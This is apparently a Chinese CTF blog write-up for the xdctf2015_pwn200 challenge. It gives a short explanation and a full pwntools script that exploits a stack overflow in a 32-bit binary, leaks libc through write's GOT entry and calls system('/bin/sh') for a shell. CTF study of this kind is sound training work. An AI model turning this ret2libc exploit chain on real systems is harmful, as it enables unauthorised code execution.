首页 > 其他分享 >xdctf2015_pwn200

xdctf2015_pwn200

时间:2024-01-16 19:35:00浏览次数:25  
标签:write addr Lib elf xdctf2015 io p32 pwn200

xdctf2015_pwn200

  • 32位泄露了ibc

image-20240116183210088

image-20240116183224238

  1. main函数中输入
  2. vuln函数中存在溢出漏洞

非常常规的泄露libc,直接上代码

from pwn import *
elf = ELF('./bof')
Lib = ELF('/lib/i386-linux-gnu/libc.so.6')
io = process('./bof')
padding = b'A'*112
payload1 = padding+p32(elf.plt['write'])+p32(elf.sym['main'])+p32(0x1)+p32(elf.got['write'])+p32(0x4)
io.sendlineafter(b'Welcome to XDCTF2015~!\n',payload1)

write_addr = u32(io.recv(4))
print('puts_addr->',hex(write_addr))

Liboffset = write_addr - Lib.sym['write']
sys_addr = Liboffset + Lib.sym['system']
bin_sh_addr = Liboffset + next(Lib.search(b'/bin/sh'))

payload2 = padding + p32(sys_addr)+p32(0x0)+p32(bin_sh_addr)
io.sendlineafter(b'Welcome to XDCTF2015~!\n',payload2)
io.interactive()

标签:write,addr,Lib,elf,xdctf2015,io,p32,pwn200
From: https://www.cnblogs.com/bamuwe/p/17968291

相关文章

  • lctf2016_pwn200 堆利用
    lctf2016:pwn200堆利用一、信息收集RELRO:在Linux系统安全领域数据可以写的存储区就会是攻击的目标,尤其是存储函数指针的区域。所以在安全防护的角度来说尽量减少可写......